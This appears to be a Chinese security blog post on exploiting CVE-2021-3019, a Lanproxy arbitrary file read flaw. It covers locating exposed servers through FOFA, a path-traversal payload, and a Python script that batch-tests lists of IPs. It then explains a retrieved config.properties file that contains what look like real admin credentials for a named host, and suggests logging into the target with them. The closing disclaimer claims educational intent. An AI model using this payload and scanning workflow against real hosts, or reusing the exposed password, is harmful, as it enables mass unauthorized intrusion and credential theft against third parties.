这个漏洞的介绍可以自己在百度搜索,或者可以看我之前写的文章:31-3 文件包含漏洞 - 文件包含漏洞利用(CVE-2021-3019:Lanproxy 任意文件读取漏洞复现)_lanproxy漏洞-CSDN博客
这里我们就分享如何在fofa上搜索存在该漏洞的网站,并编写脚本验证漏洞是否存在。
fofa搜索
网络空间测绘,网络空间安全搜索引擎,网络空间搜索引擎,安全态势感知 - FOFA网络空间测绘系统
搜索关键字
"Lanproxy"
漏洞验证
这里可以手动进行验证,方法如下:
# 测试Payload:
/%2F..%2F/conf/config.properties
在目标url的后面拼接你的浏览器直接下载了配置文件就说明存在漏洞
编写python脚本进行批量复现
首先你可以编写个搜索fofa的脚本,用来收集目标ip
搜索ip脚本的编写教程:Python教程:如何用Python编写FOFA爬虫获取信息?_fofa python-CSDN博客
然后就可以编写ip验证脚本
import requests
# 定义读取文件和检测漏洞的函数
def check_vulnerability(url):
# 拼接漏洞路径
vuln_path = '/%2F..%2Fconf/config.properties'
full_url = url.rstrip('/') + vuln_path
try:
response = requests.get(full_url, timeout=10)
if response.status_code == 200:
print(f"Vulnerability found at: {full_url}")
else:
pass
# print(f"No vulnerability at: {full_url} (Status Code: {response.status_code})")
except requests.RequestException as e:
pass
# print(f"Request failed for {full_url}: {e}")
def main():
# 从 ip.txt 文件中读取 URL 列表
try:
with open('ip.txt', 'r') as file:
urls = file.readlines()
# 遍历每个 URL 并检查漏洞
for url in urls:
url = url.strip() # 去除可能的换行符
if url: # 确保 URL 不为空
check_vulnerability(url)
except FileNotFoundError:
# print("The file 'ip.txt' was not found.")
pass
except Exception as e:
# print(f"An error occurred: {e}")
pass
if __name__ == '__main__':
main()
说明
check_vulnerability(url)
: 这个函数接收一个 URL,将漏洞路径/../conf/config.properties
拼接到该 URL 上,并发送 GET 请求。根据响应状态码判断是否存在漏洞。main()
: 这个函数从ip.txt
文件中读取每一行(假设每行包含一个 URL),并调用check_vulnerability(url)
进行检测。- 异常处理: 处理可能的异常,如请求失败或文件未找到等情况。
使用
- 将你需要测试的 URL 列表放入
ip.txt
文件中,每行一个 URL。 - 运行这个 Python 脚本,它会检查每个 URL 是否存在指定的漏洞路径。
如果复制这些url到浏览器中访问就会自动下载config.properties配置文件
每一项配置的含义如下:
-
client.bind=0.0.0.0
- 这意味着客户端将绑定到所有可用的网络接口。这使得客户端可以接收来自任何网络接口的连接请求,而不仅仅是某个特定的接口。
-
client.port=2001
- 这是客户端将使用的端口号。在这种情况下,客户端将监听或发送数据到端口2001。
-
client.autoAdd=true
- 这表示客户端启用了自动添加功能。具体来说,这可能意味着客户端会自动处理某些操作,比如自动加入到某些网络或自动注册等。
-
client.blacklist=^90.*
- 这是一个黑名单设置,用于过滤或阻止特定的IP地址或网络。
^90.*
是一个正则表达式,表示所有以90
开头的IP地址都会被黑名单过滤掉。
- 这是一个黑名单设置,用于过滤或阻止特定的IP地址或网络。
-
server.host=lan.leliven.com
- 这是服务器的主机名或域名,客户端将连接到这个主机名指定的服务器。
lan.leliven.com
可能是一个局域网域名或IP地址。
- 这是服务器的主机名或域名,客户端将连接到这个主机名指定的服务器。
-
server.bind=0.0.0.0
- 类似于客户端的设置,这意味着服务器将绑定到所有可用的网络接口。这使得服务器能够接受来自任何网络接口的连接请求。
-
server.port=2000
- 这是服务器将监听的端口号。在这种情况下,服务器将监听2000端口上的连接请求。
-
server.username=admin
- 这是连接到服务器时使用的用户名。在这种情况下,用户名是
admin
。
- 这是连接到服务器时使用的用户名。在这种情况下,用户名是
-
server.password=Leliven@312
- 这是与用户名配对的密码,用于身份验证。请注意,在实际使用中,不建议在配置文件中明文存储密码。
-
server.website=webpages
- 这可能是指服务器上托管的网页文件的位置或目录。
webpages
可能是一个目录名,服务器将从中提供网页内容。
- 这可能是指服务器上托管的网页文件的位置或目录。
这些配置项共同定义了客户端和服务器之间的连接和通信设置。
我们可以使用配置文件中的账号密码登录目标的系统
免责声明
欢迎访问我的博客。以下内容仅供教育和信息用途:
-
合法性:我不支持或鼓励非法活动。请确保遵守法律法规。
-
信息准确性:尽管我尽力提供准确的信息,但不保证其完全准确或适用。使用前请自行验证。
-
风险提示:技术使用可能带来风险,如系统损坏或数据丢失。请谨慎使用,并自行承担风险。
-
责任限制:我对使用博客内容产生的任何损害不承担责任。
-
第三方链接:博客中的链接仅为方便用户,内容不由我负责。
使用本博客即表示您同意以上条款。如果有疑问,请联系我。